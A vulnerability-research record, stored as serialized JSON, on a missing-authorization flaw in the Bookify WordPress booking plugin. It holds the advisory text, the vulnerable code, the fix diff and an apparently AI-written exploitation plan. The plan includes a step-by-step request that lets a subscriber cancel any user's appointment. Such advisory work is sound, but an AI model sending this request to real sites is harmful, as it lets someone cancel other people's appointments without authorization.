[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fiF49Tzq1Q1Gd-ziFp9kvAqKTwr-t7kPZ3vpGetF3mjo":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2025-69332","bookify-appointment-booking-scheduling-for-wordpress-missing-authorization","Bookify – Appointment Booking & Scheduling for WordPress \u003C= 1.1.1 - Missing Authorization","The Bookify – Appointment Booking & Scheduling for WordPress plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.1.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.","bookify",null,"\u003C=1.1.1","1.1.2","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-04-23 00:00:00","2026-04-30 14:37:19",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ffe41d8a7-c1d9-4c1a-9330-50baa3fa449d?source=api-prod",8,[22,23,24,25,26,27,28,29],"Controllers\u002FFrontend\u002FBookify_Shortcodes.php","Controllers\u002FREST\u002FBookify_Frontend_Rest_API.php","Controllers\u002FREST\u002FBookify_Settings_Rest_API.php","bookify.php","build\u002Fadmin.bundle.asset.php","build\u002Fadmin.bundle.js","build\u002Fadmin.css","build\u002Fappointments.bundle.asset.php","researched",false,3,"# Exploitation Research Plan: CVE-2025-69332 (Bookify Missing Authorization)\n\n## 1. Vulnerability Summary\nThe **Bookify – Appointment Booking & Scheduling for WordPress** plugin (\u003C= 1.1.1) is vulnerable to **Missing Authorization** within its REST API implementation. The endpoint `\u002Fwp-json\u002Fbookify\u002Ffrontend\u002Fv1\u002Fappointment-status` allows users to change the status of an appointment. While the plugin verifies a WordPress REST nonce, it fails to perform any capability checks or ownership validation. This allows any authenticated user (with Subscriber-level access) to cancel appointments belonging to any other user or staff member by simply providing the target `appointment_id`.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `POST \u002Fwp-json\u002Fbookify\u002Ffrontend\u002Fv1\u002Fappointment-status`\n- **Authentication:** Required (Subscriber or above).\n- **Nonce Requirement:** Yes, the standard WordPress REST nonce (`wp_rest` action) must be provided in the `X-WP-Nonce` header.\n- **Payload Parameter:** `appointment_id` (sent in a JSON-encoded body).\n- **Vulnerable Component:** `Bookify\\Controllers\\REST\\Bookify_Frontend_Rest_API::appointment_status_change`\n\n## 3. Code Flow\n1.  **Route Registration:** In `Controllers\u002FREST\u002FBookify_Frontend_Rest_API.php`, the route `\u002Fappointment-status` is registered with `nonce_authentication` as the `permission_callback`.\n    ```php\n    register_rest_route('bookify\u002Ffrontend\u002Fv1', '\u002Fappointment-status', array(\n        'methods'               => 'POST',\n        'callback'              => array( $this, 'appointment_status_change' ),\n        'permission_callback'   => array( $this, 'nonce_authentication' )\n    ));\n    ```\n2.  **Weak Permission Check:** The `nonce_authentication` function only checks for the *existence* of the `X-WP-Nonce` header, not its validity or the user's capabilities.\n    ```php\n    public function nonce_authentication( $request ) {\n        $nonce = $request->get_header('X-WP-Nonce'); \n        if ( !$nonce ) { return new WP_Error(...); }\n        return true;\n    }\n    ```\n3.  **Missing Ownership Check in Callback:** The `appointment_status_change` callback verifies the nonce against the `'wp_rest'` action (which passes for any logged-in user). It then proceeds to update the status of the provided `appointment_id` to 'Cancelled' without checking if the current user owns that appointment.\n    ```php\n    public function appointment_status_change( $request ) {\n        $nonce = $request->get_header('X-WP-Nonce');\n        if ( ! wp_verify_nonce( $nonce, 'wp_rest' ) ) {\n            return new WP_Error( 'rest_forbidden', ... );\n        }\n        $params = $request->get_json_params();\n        $appointment_id = $params['appointment_id'];\n        $data = array('appointment_status' => 'Cancelled');\n        $result = Bookify_Appointment_Models::bookify_update_appointment( $appointment_id, $data );\n        \u002F\u002F ...\n    }\n    ```\n\n## 4. Nonce Acquisition Strategy\nThe plugin utilizes the standard WordPress REST API nonce. This nonce is localized for the frontend scripts used in shortcodes.\n\n1.  **Identify Shortcode:** The shortcode `[bookify_appointments]` triggers the registration of the `bookify-appointments-script`.\n2.  **Create Extraction Page:** Create a public page containing the shortcode:\n    `wp post create --post_type=page --post_title=\"Appointments\" --post_status=publish --post_content='[bookify_appointments]'`\n3.  **Extract via Browser:**\n    - Log in as a Subscriber user.\n    - Navigate to the newly created page.\n    - Use `browser_eval` to extract the nonce from the localized object `wpbAptApp`:\n      `browser_eval(\"window.wpbAptApp?.nonce\")`\n\n## 5. Exploitation Strategy\n### Step-by-Step Plan\n1.  **Setup Victim Data:** As an Admin, create a dummy appointment to obtain a valid `appointment_id` (e.g., ID 1).\n2.  **Authentication:** Authenticate as a Subscriber user.\n3.  **Nonce Retrieval:** Navigate to the page with `[bookify_appointments]` and extract the `wp_rest` nonce.\n4.  **Execute Cancellation:** Send an unprivileged POST request to cancel the Admin's appointment.\n\n### Exploit Request (using `http_request`)\n```json\n{\n  \"method\": \"POST\",\n  \"url\": \"\u002Fwp-json\u002Fbookify\u002Ffrontend\u002Fv1\u002Fappointment-status\",\n  \"headers\": {\n    \"Content-Type\": \"application\u002Fjson\",\n    \"X-WP-Nonce\": \"EXTRACTED_NONCE_HERE\"\n  },\n  \"body\": \"{\\\"appointment_id\\\": \\\"1\\\"}\"\n}\n```\n\n## 6. Test Data Setup\n- **Plugin Configuration:** Ensure the plugin is active and its database tables are created.\n- **Victim Appointment:** Use WP-CLI to insert a dummy appointment into the `{$wpdb->prefix}bookify_appointments` table (or use the plugin UI as Admin).\n- **Attacker User:** Create a user with the `subscriber` role.\n- **Shortcode Page:** Create a page with `[bookify_appointments]` at `\u002Fappointments-page\u002F`.\n\n## 7. Expected Results\n- The REST API should return a JSON response:\n  `{\"success\": true, \"message\": \"Appointment has been cancelled!\"}`\n- Even if the appointment belonged to a different user, the status will be changed.\n\n## 8. Verification Steps\nCheck the database state using WP-CLI to confirm the status change:\n```bash\nwp db query \"SELECT appointment_status FROM wp_bookify_appointments WHERE appointment_id = 1\"\n```\n*Expected Output:*\n```\nappointment_status\nCancelled\n```\n\n## 9. Alternative Approaches\nIf `\u002Fappointment-status` is patched or restricted, examine other routes in `Bookify_Frontend_Rest_API.php` that use `nonce_authentication`, such as `\u002Fget-appointments` (if it leaked more data than intended) or `\u002Fadd-appointment` (if it allowed spoofing the `customer_id` or `staff_id`). However, `\u002Fappointment-status` provides the most direct evidence of missing authorization for a state-changing action.","The Bookify plugin for WordPress is vulnerable to unauthorized appointment cancellation due to missing capability and ownership checks on the `\u002Fappointment-status` REST API endpoint. Authenticated users, such as Subscribers, can exploit this to cancel any appointment in the system by providing a target appointment ID and a valid WordPress REST nonce.","\u002F\u002F Controllers\u002FREST\u002FBookify_Frontend_Rest_API.php:55\nregister_rest_route('bookify\u002Ffrontend\u002Fv1', '\u002Fappointment-status', array(\n    'methods'               => 'POST',\n    'callback'              => array( $this, 'appointment_status_change' ),\n    'permission_callback'   => array( $this, 'nonce_authentication' )\n));\n\n---\n\n\u002F\u002F Controllers\u002FREST\u002FBookify_Frontend_Rest_API.php:70\npublic function nonce_authentication( $request ) {\n    \n    $nonce = $request->get_header('X-WP-Nonce'); \n\n    if ( !$nonce ) {\n        return new WP_Error( \n            'rest_missing_nonce', \n            __('You do not have permission to access this resource. Please contact the administrator if you believe this is an error.', 'bookify'), \n            array( \n                'status' => 403, \n                'message' => 'Nonce is missing.' \n            ) \n        );\n    }\n\n    return true;\n}\n\n---\n\n\u002F\u002F Controllers\u002FREST\u002FBookify_Frontend_Rest_API.php:115\npublic function appointment_status_change( $request ) {\n\n    $nonce = $request->get_header('X-WP-Nonce');\n    if ( ! wp_verify_nonce( $nonce, 'wp_rest' ) ) {\n        return new WP_Error( 'rest_forbidden', __('Invalid nonce.', 'bookify'), array( 'status' => 403 ) );\n    }\n\n    $params = $request->get_json_params();\n\n    $appointment_id = isset( $params['appointment_id'] ) && ! empty( $params['appointment_id'] ) ? sanitize_text_field( $params['appointment_id'] ) : '';\n\n    if ( ! $appointment_id ) {\n        return new WP_REST_Response(array(\n            'success' => false,\n            'message' => 'No appointment id is selected for cancellation!',\n        ), 200);\n    };\n\n    $data = array(\n        'appointment_status' => 'Cancelled'\n    );\n\n    $result = Bookify_Appointment_Models::bookify_update_appointment( $appointment_id, $data );","--- a\u002FControllers\u002FREST\u002FBookify_Frontend_Rest_API.php\n+++ b\u002FControllers\u002FREST\u002FBookify_Frontend_Rest_API.php\n@@ -115,14 +115,25 @@\n \t\tpublic function appointment_status_change( $request ) {\n \n \t\t\t$nonce = $request->get_header('X-WP-Nonce');\n-\t\t\tif ( ! wp_verify_nonce( $nonce, 'wp_rest' ) ) {\n+\t\t\tif ( ! wp_verify_nonce( $nonce, 'wp_rest' ) || ! is_user_logged_in() ) {\n \t\t\t\treturn new WP_Error( 'rest_forbidden', __('Invalid nonce.', 'bookify'), array( 'status' => 403 ) );\n \t\t\t}\n \n \t\t\t$params = $request->get_json_params();\n-\n \t\t\t$appointment_id = isset( $params['appointment_id'] ) && ! empty( $params['appointment_id'] ) ? sanitize_text_field( $params['appointment_id'] ) : '';\n \n+\t\t\t\u002F\u002F Add authorization check\n+\t\t\tif ( ! current_user_can( 'manage_options' ) ) {\n+\t\t\t\t$user = wp_get_current_user();\n+\t\t\t\t$appointment = Bookify_Appointment_Models::bookify_get_appointment_by_id( $appointment_id );\n+\t\t\t\tif ( ! $appointment || $appointment['customer_id'] != $user->ID ) {\n+\t\t\t\t\treturn new WP_Error( 'rest_forbidden', __( 'You do not have permission to cancel this appointment.', 'bookify' ), array( 'status' => 403 ) );\n+\t\t\t\t}\n+\t\t\t}\n+\n \t\t\tif ( ! $appointment_id ) {\n \t\t\t\treturn new WP_REST_Response(array(\n \t\t\t\t\t'success' => false,","The exploit targets the `\u002Fwp-json\u002Fbookify\u002Ffrontend\u002Fv1\u002Fappointment-status` REST API endpoint. \n\n1. Authentication: The attacker must be logged in as any user (e.g., Subscriber role).\n2. Nonce Acquisition: The attacker visits a page containing the `[bookify_appointments]` shortcode. This shortcode localizes a WordPress REST nonce (action `wp_rest`) into the global JavaScript object `wpbAptApp.nonce`.\n3. Request: The attacker sends a POST request to the vulnerable endpoint. \n   - Endpoint: `POST \u002Fwp-json\u002Fbookify\u002Ffrontend\u002Fv1\u002Fappointment-status` \n   - Header: `X-WP-Nonce: [EXTRACTED_NONCE]`\n   - Body (JSON): `{\"appointment_id\": \"[TARGET_ID]\"}`\n4. Outcome: Because the plugin only verifies the presence and validity of the general REST nonce but does not check if the current user owns the appointment or has administrative permissions, the appointment with `TARGET_ID` is updated to a 'Cancelled' status in the database.","gemini-3-flash-preview","2026-05-04 18:47:57","2026-05-04 18:48:24",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.1.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbookify\u002Ftags\u002F1.1.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookify.1.1.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbookify\u002Ftags\u002F1.1.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookify.1.1.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbookify\u002Ftags"]